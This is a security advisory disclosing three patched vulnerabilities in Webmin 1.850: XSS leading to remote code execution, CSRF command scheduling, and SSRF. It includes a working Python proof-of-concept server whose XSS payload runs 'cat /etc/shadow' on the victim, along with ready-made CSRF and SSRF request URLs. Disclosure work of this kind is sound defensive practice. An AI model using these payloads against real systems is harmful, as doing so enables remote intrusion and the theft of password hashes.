SSD Advisory – Webmin Multiple Vulnerabilities

October 15, 2017 admin Remote Command Execution, SecuriTeam Secure Disclosure, XSS

Credit to Author: SSD / Maor Schwartz| Date: Sun, 15 Oct 2017 06:54:31 +0000

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Vulnerability summary
The following advisory describes three (3) vulnerabilities found in Webmin version 1.850

Webmin “is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more. Webmin removes the need to manually edit Unix configuration files like /etc/passwd, and lets you manage a system from the console or remotely. See the standard modules page for a list of all the functions built into Webmin.”

The vulnerabilities found are:

XSS vulnerability that leads to Remote Code Execution
CSRF Schedule arbitrary commands
Server Side Request Forgery

Credit
An independent security researcher, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities.

For more information: https://github.com/webmin/webmin/commit/0c58892732ee7610a7abba5507614366d382c9c9 and http://www.webmin.com/security.html

Vulnerability details
XSS vulnerability that leads to Remote Code Execution

Under Webmin menu ‘Others/File Manager‘ there is option to download a file from a remote server ‘Download from remote URL‘.

By setting up a malicious server we can wait for file download request then send a XSS payload that will lead to Remote Code Execution.

Webmin echo back the ‘File Download‘ request status which we can trigger the XSS vulnerability and bypass this Referrer check by setting the domain=webmin-victim-ip.

Proof of Concept

 import socket    #===================================================  #Run this script and listen for file download from webmin  #Enter payload to execute RCE  #wait for webmin to connect and download file  #Vulnerability is in Menu/Others/File Manager  #issue is webmin echoes back status of the download  #by injecting XSS we bypass the Referer: check by assign  #domain to victims own IP, then execute our RCE  #———————————————————–  #e.g.  #Download from remote URL  #http://x.x.x.x:10000/shell/index.cgi  #> whoami  #root    PORT=int(raw_input(“[PORT]> “)) #port we listen on for file download requests  WEBMIN_IP=raw_input(“[Webmin IP]> “) #victim    #Read /etc/shadow file  CMD=(“/><script>document.domain=’http://”+WEBMIN_IP+”:10000/shell/index.cgi'</script>”+  “<form action=’https://”+WEBMIN_IP+”:10000/shell/index.cgi’ method=’POST’ enctype=’multipart/form-data’>”+  “<input type=’hidden’ name=’cmd’ value=’cat /etc/shadow’><script>document.forms[0].submit()</script></form>”)    s = socket.socket()  HOST = ”   s.bind((HOST, PORT))   s.listen(5)     print ‘nwebmin file download 0day…’    while True:   conn, addr = s.accept()    conn.send(CMD+’rn’)   print ‘Connected!’   print s.recv(1024)   conn.close()  s.close()

CSRF Schedule arbitrary commands
User controlled input is not sufficiently sanitized, by sending GET request to create_job.cgi with the following parameter dir=/&cmd=ls an attacker to execute arbitrary commands.

Proof of Concept

 http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0

1	http://x.x.x.x:10000/at/create_job.cgi?user=root&day=31&month=7&year=2017&hour=2&min=00&dir=/&cmd=ls -lt&mail=0

Server Side Request Forgery

User controlled input is not sufficiently sanitized, by sending GET request to tunnel/link.cgi/http://VICTIM-IP:8000 an attackercan trigger the vulnerability

Proof of Concept

 http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000

1	http://x.x.x.x:10000/tunnel/link.cgi/http://VICTIM-IP:8000

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